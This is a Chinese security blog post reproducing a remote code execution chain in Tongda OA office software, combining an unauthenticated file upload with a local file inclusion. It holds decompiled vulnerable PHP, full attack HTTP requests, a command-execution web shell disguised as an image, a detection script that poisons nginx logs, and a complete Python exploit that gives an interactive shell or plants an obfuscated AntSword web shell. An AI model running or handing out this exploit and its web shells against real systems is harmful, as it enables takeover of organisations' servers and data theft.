通达OA 任意文件上传+文件包含 RCE


title: 通达OA 任意文件上传+文件包含 RCE
date: 2020-03-25 14:30:34
tags:

- 通达
- 文件上传
- 文件包含
- RCE

categories: 漏洞复现

toc: true

通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台。3月13日发现未授权上传和本地文件包含两个漏洞组合而形成的rce漏洞。

通达OA 任意文件上传+文件包含 RCE

通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台。

本文测试环境:Windows 10 + OA 2017

漏洞原因

此漏洞是由未授权上传和本地文件包含两个漏洞组合而形成的rce漏洞

影响版本

部分版本可能没有安装某插件而无法利用。

  • tongdaOA V11
  • tangdaOA 2017
  • tangdaOA 2016
  • tangdaOA 2015
  • tangdaOA 2013 增强版
  • tangdaOA 2013

漏洞原理

任意文件上传

代码是经过Zend加密的,解密即可。

  • 在文件ispirit\im\upload.php中的登录验证部分,在文件中第一个IF(6行),只要设置了参数P就可以绕过。
  • 然后就是需要传一个DEST_UID参数(22行)来过exit,只要不为0或空的数字都可以。然后就可以走到upload函数了,接下来如果$UPLOAD_MODE == '1'就会把ATTACHMENT_ID输出出来,这个id其实就是我们马的文件名。
<?php
//decode by http://dezend.qiling.org  QQ 2859470

set_time_limit(0);
$P = $_POST['P'];
if (isset($P) || $P != '') {
    ob_start();
    include_once 'inc/session.php';
    session_id($P);
    session_start();
    session_write_close();
} else {
    include_once './auth.php';
}
include_once 'inc/utility_file.php';
include_once 'inc/utility_msg.php';
include_once 'mobile/inc/funcs.php';
ob_end_clean();
$TYPE = $_POST['TYPE'];
$DEST_UID = $_POST['DEST_UID'];
$dataBack = array();
if ($DEST_UID != '' && !td_verify_ids($ids)) {
    $dataBack = array('status' => 0, 'content' => '-ERR ' . _('接收方ID无效'));
    echo json_encode(data2utf8($dataBack));
    exit;
}
if (strpos($DEST_UID, ',') !== false) {
} else {
    $DEST_UID = intval($DEST_UID);
}
if ($DEST_UID == 0) {
    if ($UPLOAD_MODE != 2) {
        $dataBack = array('status' => 0, 'content' => '-ERR ' . _('接收方ID无效'));
        echo json_encode(data2utf8($dataBack));
        exit;
    }
}
$MODULE = 'im';
if (1 <= count($_FILES)) {
    if ($UPLOAD_MODE == '1') {
        if (strlen(urldecode($_FILES['ATTACHMENT']['name'])) != strlen($_FILES['ATTACHMENT']['name'])) {
            $_FILES['ATTACHMENT']['name'] = urldecode($_FILES['ATTACHMENT']['name']);
        }
    }
    $ATTACHMENTS = upload('ATTACHMENT', $MODULE, false);
    if (!is_array($ATTACHMENTS)) {
        $dataBack = array('status' => 0, 'content' => '-ERR ' . $ATTACHMENTS);
        echo json_encode(data2utf8($dataBack));
        exit;
    }
    ob_end_clean();
    $ATTACHMENT_ID = substr($ATTACHMENTS['ID'], 0, -1);
    $ATTACHMENT_NAME = substr($ATTACHMENTS['NAME'], 0, -1);
    if ($TYPE == 'mobile') {
        $ATTACHMENT_NAME = td_iconv(urldecode($ATTACHMENT_NAME), 'utf-8', MYOA_CHARSET);
    }
} else {
    $dataBack = array('status' => 0, 'content' => '-ERR ' . _('无文件上传'));
    echo json_encode(data2utf8($dataBack));
    exit;
}
$FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
if (!$FILE_SIZE) {
    $dataBack = array('status' => 0, 'content' => '-ERR ' . _('文件上传失败'));
    echo json_encode(data2utf8($dataBack));
    exit;
}
if ($UPLOAD_MODE == '1') {
    if (is_thumbable($ATTACHMENT_NAME)) {
        $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
        $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 'thumb_' . $ATTACHMENT_NAME;
        CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
    }
    $P_VER = is_numeric($P_VER) ? intval($P_VER) : 0;
    $MSG_CATE = $_POST['MSG_CATE'];
    if ($MSG_CATE == 'file') {
        $CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
    } else {
        if ($MSG_CATE == 'image') {
            $CONTENT = '[im]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/im]';
        } else {
            $DURATION = intval($DURATION);
            $CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
        }
    }
    $AID = 0;
    $POS = strpos($ATTACHMENT_ID, '@');
    if ($POS !== false) {
        $AID = intval(substr($ATTACHMENT_ID, 0, $POS));
    }
    $query = 'INSERT INTO im_offline_file (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values ('' . date('Y-m-d H:i:s') . '','' . $_SESSION['LOGIN_UID'] . '','' . $DEST_UID . '','*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME . '','' . $FILE_SIZE . '','0','' . $AID . '')';
    $cursor = exequery(TD::conn(), $query);
    $FILE_ID = mysql_insert_id();
    if ($cursor === false) {
        $dataBack = array('status' => 0, 'content' => '-ERR ' . _('数据库操作失败'));
        echo json_encode(data2utf8($dataBack));
        exit;
    }
    $dataBack = array('status' => 1, 'content' => $CONTENT, 'file_id' => $FILE_ID);
    echo json_encode(data2utf8($dataBack));
    exit;
} else {
    if ($UPLOAD_MODE == '2') {
        $DURATION = intval($_POST['DURATION']);
        $CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
        $query = 'INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES ('' . $_SESSION['LOGIN_UID'] . '', '' . $CONTENT . '', '' . time() . '')';
        $cursor = exequery(TD::conn(), $query);
        echo '+OK ' . $CONTENT;
    } else {
        if ($UPLOAD_MODE == '3') {
            if (is_thumbable($ATTACHMENT_NAME)) {
                $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
                $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 'thumb_' . $ATTACHMENT_NAME;
                CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
            }
            echo '+OK ' . $ATTACHMENT_ID;
        } else {
            $CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
            $msg_id = send_msg($_SESSION['LOGIN_UID'], $DEST_UID, 1, $CONTENT, '', 2);
            $query = 'insert into IM_OFFLINE_FILE (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG) values ('' . date('Y-m-d H:i:s') . '','' . $_SESSION['LOGIN_UID'] . '','' . $DEST_UID . '','*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME . '','' . $FILE_SIZE . '','0')';
            $cursor = exequery(TD::conn(), $query);
            $FILE_ID = mysql_insert_id();
            if ($cursor === false) {
                echo '-ERR ' . _('数据库操作失败');
                exit;
            }
            if ($FILE_ID == 0) {
                echo '-ERR ' . _('数据库操作失败2');
                exit;
            }
            echo '+OK ,' . $FILE_ID . ',' . $msg_id;
            exit;
        }
    }
}

文件包含

不传P参数(7行)就能绕过exit了,然后走到下面的include_once进行文件包含。

<?php

ob_start();
include_once 'inc/session.php';
include_once 'inc/conn.php';
include_once 'inc/utility_org.php';
if ($P != '') {
    if (preg_match('/[^a-z0-9;]+/i', $P)) {
        echo _('非法参数');
        exit;
    }
    session_id($P);
    session_start();
    session_write_close();
    if ($_SESSION['LOGIN_USER_ID'] == '' || $_SESSION['LOGIN_UID'] == '') {
        echo _('RELOGIN');
        exit;
    }
}
if ($json) {
    $json = stripcslashes($json);
    $json = (array) json_decode($json);
    foreach ($json as $key => $val) {
        if ($key == 'data') {
            $val = (array) $val;
            foreach ($val as $keys => $value) {
                ${$keys} = $value;
            }
        }
        if ($key == 'url') {
            $url = $val;
        }
    }
    if ($url != '') {
        if (substr($url, 0, 1) == '/') {
            $url = substr($url, 1);
        }
        include_once $url;
    }
    exit;
}

漏洞复现

摘抄自:https://www.cnblogs.com/yuyan-sec/p/12549237.html

文件上传:

Request:

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.95.129
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.95.129/logincheck.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=gb4tpaqrsagb3fcmpu9sco48m5; KEY_RANDOMDATA=13319
Connection: close
Content-Type: multipart/form-data; boundary=--------1673801018
Content-Length: 558

----------1673801018
Content-Disposition: form-data; name="UPLOAD_MODE"

2
----------1673801018
Content-Disposition: form-data; name="P"

123
----------1673801018
Content-Disposition: form-data; name="DEST_UID"

2
----------1673801018
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
----------1673801018--

Response:

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 22 Mar 2020 14:03:32 GMT
Content-Type: text/html; charset=gbk
Connection: close
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=123; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 37

+OK [vm]252@2003_225735032|jpg|0[/vm]

文件包含

Request:

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.95.129
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.95.129/logincheck.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=gb4tpaqrsagb3fcmpu9sco48m5; KEY_RANDOMDATA=13319
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

json={"url":"/general/../../attach/im/2003/225735032.jpg"}&cmd=net user

Response:

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 22 Mar 2020 14:06:54 GMT
Content-Type: text/html; charset=gbk
Connection: close
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Content-Length: 192


\\ 的用户帐户

-------------------------------------------------------------------------------
Administrator            Guest                    
命令运行完毕,但发现一个或多个错误。

总结

POC

实际测试过程中可以通过包含nginx日志文件来实现快速探测是否存在改漏洞。

#

# 通达OA任意文件包含

import requests
import sys


def get_one(url):
    exp1 = "/ispirit/interface/gateway.php?json=\{\}&aa=<?php file_put_contents('1.php','biubiubiu_testcc');?"
    exp2 = "/ispirit/interface/gateway.php"

    exp3 = "/mac/gateway.php?json=\{\}&aa=<?php file_put_contents('1.php','biubiubiu_testcc');?"
    exp4 = "/mac/gateway.php"

    data = {"json":"{\"url\":\"/general/../../nginx/logs/oa.access.log\"}"}
    response1 = requests.get(url+exp1,timeout=2,verify=False)
    response2 = requests.post(url+exp2,data=data,timeout=2,verify=False)
    response3 = requests.get(url+exp3,timeout=2,verify=False)
    response4 = requests.post(url+exp4,data=data,timeout=2,verify=False)
    if 'biubiubiu_testcc' in response2.text or 'biubiubiu_testcc' in response4.text:
        print('[+]存在该漏洞:'+)
    else:
        print('[-]目标不存在该漏洞')
if __name__ == '__main__':
    args = sys.argv[1]
    get_one(args)

EXP

两个版本均测试,执行命令OR写入SHELL。

#!/usr/bin/env python
# -*- encoding: utf-8 -*-
# FileName  :  tongda_oa_rce.py
# Time      :  2020/03/24 10:39:18
# Author    :  OuDeNiu
# Email     :  havebutno@gmail.com
# Version   :  1.0
# Descript  :  安装环境不同,路径不同。测试环境 -> Win10 / OA 2017


import os
import sys
import requests

# CMD马
def write_shell():
    if not os.path.exists('1.txt'):
        f=open('1.txt','w')
        f.write('''
<?php
$command=$_POST['tdoa'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>''')
        f.close()

# 写入蚁剑马
def write_ant():
    if not os.path.exists('1.txt'):
        f=open('1.txt','w')
        f.write('''<?php
        $fp = fopen('readme.php', 'w');
        $a = base64_decode("JTNDJTNGcGhwJTIwJTBBY2xhc3MlMjBXRVdEJTIwJTdCJTIwJTBBJTIwJTIwJTIwJTIwZnVuY3Rpb24lMjBvQnZyJTI4JTI5JTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0d0FiRiUyMCUzRCUyMCUyMiU1Q3hlNiUyMiUyMCU1RSUyMCUyMiU1Q3g4NyUyMiUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyNHBsRVclMjAlM0QlMjAlMjIlNUN4MTglMjIlMjAlNUUlMjAlMjIlNUN4NmIlMjIlM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjRiZVVoJTIwJTNEJTIwJTIyJTVDeGZlJTIyJTIwJTVFJTIwJTIyJTVDeDhkJTIyJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0RnpJWiUyMCUzRCUyMCUyMiU1Q3g3MiUyMiUyMCU1RSUyMCUyMiU1Q3gxNyUyMiUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyNGx2S0MlMjAlM0QlMjAlMjIlNUN4MmQlMjIlMjAlNUUlMjAlMjIlNUN4NWYlMjIlM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjRSR1ZLJTIwJTNEJTIwJTIyJTVDeGQwJTIyJTIwJTVFJTIwJTIyJTVDeGE0JTIyJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI0TGlQdSUyMCUzRCUyNHdBYkYuJTI0cGxFVy4lMjRiZVVoLiUyNEZ6SVouJTI0bHZLQy4lMjRSR1ZLJTNCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwcmV0dXJuJTIwJTI0TGlQdSUzQiUwQSUyMCUyMCUyMCUyMCU3RCUwQSUyMCUyMCUyMCUyMGZ1bmN0aW9uJTIwX19kZXN0cnVjdCUyOCUyOSU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyNHpwY1QlM0QlMjR0aGlzLSUzRW9CdnIlMjglMjklM0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBAJTI0enBjVCUyOCUyNHRoaXMtJTNFQUQlMjklM0IlMEElMjAlMjAlMjAlMjAlN0QlMEElN0QlMEElMjR3ZXdkJTIwJTNEJTIwbmV3JTIwV0VXRCUyOCUyOSUzQiUwQUAlMjR3ZXdkLSUzRUFEJTIwJTNEJTIwaXNzZXQlMjglMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklM0ZiYXNlNjRfZGVjb2RlJTI4JTI0X1BPU1QlNUIlMjd0ZG9hJTI3JTVEJTI5JTNBJTI0X1BPU1QlNUIlMjd0ZG9hJTI3JTVEJTNCJTBBJTNGJTNF");
        fwrite($fp, urldecode($a));
        fclose($fp);
        ?>
        ''')
        f.close()

# 删除当前目录下生成的马
def del_shell():
    if os.path.exists('1.txt'):
        os.remove('1.txt')

def rce_1(url,cmd,shell):
    upload_url = url+ "/ispirit/im/upload.php"
    include_url = url + "/ispirit/interface/gateway.php"
    shell_url= url + "/ispirit/interface/readme.php"

    # 上传文件
    if int(shell) == 0:
        write_shell()
        files = {'ATTACHMENT':open('1.txt','r')}
        upload_data={"P":"123","DEST_UID":"1","UPLOAD_MODE":"2"}
        # 上传
        upload_res = requests.post(upload_url,upload_data,files=files)
        path = upload_res.text
        path = path[path.find('@')+1:path.rfind('|')].replace("_","/").replace("|",".")
        while cmd !='q':
            cmd = input("[Cmd]:")
            include_data = {"json":"{\"url\":\"/general/../../attach/im/" +path+"\"}","tdoa":cmd}
            # 文件包含
            include_res = requests.post(include_url,data=include_data)
            if "403" in include_res.text or "No input file" in include_res.text:
                include_url = url + "/mac/gateway.php"
                # shell_url= url + "/mac/readme.php"
                include_res = requests.post(include_url,data=include_data)
                print(include_res.text)
            else:
                print(include_res.text)

    # GetShell
    else:
        write_ant()
        files = {'ATTACHMENT':open('1.txt','r')}
        upload_data={"P":"123","DEST_UID":"1","UPLOAD_MODE":"2"}
        upload_res = requests.post(upload_url,upload_data,files=files)
        path = upload_res.text
        path = path[path.find('@')+1:path.rfind('|')].replace("_","/").replace("|",".")
        include_data = {"json":"{\"url\":\"/general/../../attach/im/" +path+"\"}"}
        # 文件包含
        include_res = requests.post(include_url,data=include_data)
        if "403" in include_res.text or "No input file" in include_res.text:
            include_url = url + "/mac/gateway.php"
            shell_url= url + "/mac/readme.php"
            include_res = requests.post(include_url,data=include_data)
        shell_res=requests.get(shell_url)
        if shell_res.status_code == 200:
            print('[+]成功GetShell:'+url+'/mac/readme.php')
            print(shell_res.text)
        else:print('[-]写入shell失败')
    
banner = '''
[*]通达OA文件上传+文件包含 RCE
Usage:python3 http://xxxxxxx.com Options
0:Exec CMD {q -> quit}
1:Get Shell {AntSword -> tdoa}
'''
print(banner)
try:
    url = sys.argv[1]
    other = sys.argv[2]
except:
    exit('[-]参数错误')
if int(other) != 0:
    shell = other
else:shell = 0
rce_1(url,None,shell)
del_shell()

滴滴滴:原本是有图片的,但是莫名其妙的不见了,环境已经删了,所以。。。

所有原创文章采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。
您可以自由的转载和修改,但请务必注明文章来源并且不可用于商业目的。
本站部分内容收集于互联网,如果有侵权内容、不妥之处,请联系我们删除。敬请谅解!

评论已关闭

成功源于不懈的努力。

暗自伤心,不如立即行动。

再多一点努力,就多一点成功。

得意淡然,失意坦然;喜而不狂,忧而不伤。

海纳百川,有容乃大;壁立千仞,无欲则刚。